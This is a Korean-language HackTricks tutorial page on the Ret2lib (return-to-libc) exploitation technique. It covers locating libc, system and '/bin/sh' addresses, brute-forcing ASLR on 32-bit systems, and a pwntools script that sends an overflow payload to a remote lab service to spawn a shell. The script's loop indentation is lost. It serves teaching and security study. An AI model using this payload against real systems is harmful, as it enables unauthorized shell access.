Ret2lib

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

취약한 프로그램의 실행 흐름을 스택에서 공격자가 제공한 shellcode를 실행하는 대신 공유 라이브러리 내부의 함수(예: system, execve, strcpy)로 리디렉션하는 것이 Ret2Libc의 핵심입니다. 공격자는 스택의 복귀 주소를 원하는 라이브러리 함수로 가리키도록 수정하는 payload를 만들고, 호출 규약에 따라 필요한 인자들이 올바르게 설정되도록 배치합니다.

예제 단계 (단순화)

  • 호출할 함수의 주소를 얻음(예: system)과 호출할 명령(예: /bin/sh)
  • 첫 번째 인자가 명령 문자열을 가리키도록 설정하고 실행 흐름을 함수로 전달하기 위한 ROP chain 생성

주소 찾기

  • 현재 머신의 libc가 사용된다고 가정하면, 메모리에 어디에 로드될지 다음과 같이 찾을 수 있습니다:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLR이 libc의 주소를 변경하는지 확인하려면 다음을 수행할 수 있습니다:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • 사용된 libc를 알면 system 함수의 오프셋을 다음과 같이 찾을 수도 있습니다:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • 사용 중인 libc를 알면 /bin/sh 문자열의 오프셋을 다음과 같이 찾을 수도 있습니다:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF 사용

사용 중인 libc를 알면 Peda 또는 GEF를 사용해 system 함수, exit 함수와 문자열 **/bin/sh**의 주소를 얻을 수 있다:

p system
p exit
find "/bin/sh"

/proc/<PID>/maps 사용

프로세스가 통신할 때마다 자식 프로세스를 생성한다면(예: network server) 해당 파일을 읽어보세요(아마 root 권한이 필요할 것입니다).

여기서 프로세스 내부에서 libc가 정확히 어디에 로드되는지와 각 자식 프로세스에서 어디에 로드될지를 확인할 수 있습니다.

이 경우 0xb75dc000에 로드되어 있습니다 (이 값이 libc의 베이스 주소가 됩니다)

알 수 없는 libc

바이너리가 어떤 libc를 로드하는지 모를 수 있습니다(서버에 접근 권한이 없기 때문일 수 있습니다). 이 경우 취약점을 이용해 일부 주소를 leak하고 어떤 libc가 사용되는지 찾아낼 수 있습니다:

Leaking libc address with ROP

또한 이와 관련된 pwntools 템플릿은 다음에서 찾을 수 있습니다:

Leaking libc - template

2개의 오프셋으로 libc 확인

https://libc.blukat.me/ 페이지를 확인하고 libc 내부 함수들의 두 개의 주소를 사용해 사용 중인 버전을 찾아보세요.

32 bits에서 ASLR 우회

이러한 무차별 공격은 32bit 시스템에서만 유용합니다.

  • 익스플로잇이 로컬인 경우, libc의 베이스 주소를 brute-force로 시도해볼 수 있습니다 (32bit 시스템에서 유용):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • remote server를 공격하는 경우, 인수로 10을 전달하면서 **burte-force the address of the libc function usleep**를 시도할 수 있다(예:). 만약 어느 시점에서 server takes 10s extra to respond, 이 함수의 주소를 찾은 것이다.

One Gadget

libc의 하나의 특정 주소로 점프해 쉘을 실행한다:

One Gadget

x86 Ret2lib 코드 예제

이 예제에서는 ASLR brute-force가 코드에 통합되어 있으며 취약한 바이너리는 remote server에 위치한다:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib 코드 예제

예제는 다음을 확인하세요:

ROP & JOP

ARM64 Ret2lib 예제

ARM64의 경우, ret 명령어는 스택 레지스터가 가리키는 곳이 아니라 x30 레지스터가 가리키는 곳으로 점프합니다. 그래서 조금 더 복잡합니다.

또한 ARM64에서는 명령어는 명령어가 하는 대로 동작합니다(명령어의 중간으로 점프해 그것을 새로운 것으로 변형하는 것은 불가능합니다).

예제는 다음을 확인하세요:

Ret2lib + Printf leak - arm64

Ret-into-printf (또는 puts)

이는 특정 데이터를 인수로 하여 printf/puts를 호출함으로써 프로세스에서 정보를 leak 할 수 있게 합니다. 예를 들어 GOT에 있는 puts의 주소를 puts 호출에 넣으면 메모리에서 puts의 주소를 leak 합니다.

Ret2printf

이는 기본적으로 Ret2lib을 악용해 printf를 호출하고 전달된 값으로 printf format strings vulnerability를 유발하는 것을 의미합니다(쓸모없어 보이지만 가능합니다):

Format Strings

기타 예제 및 참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기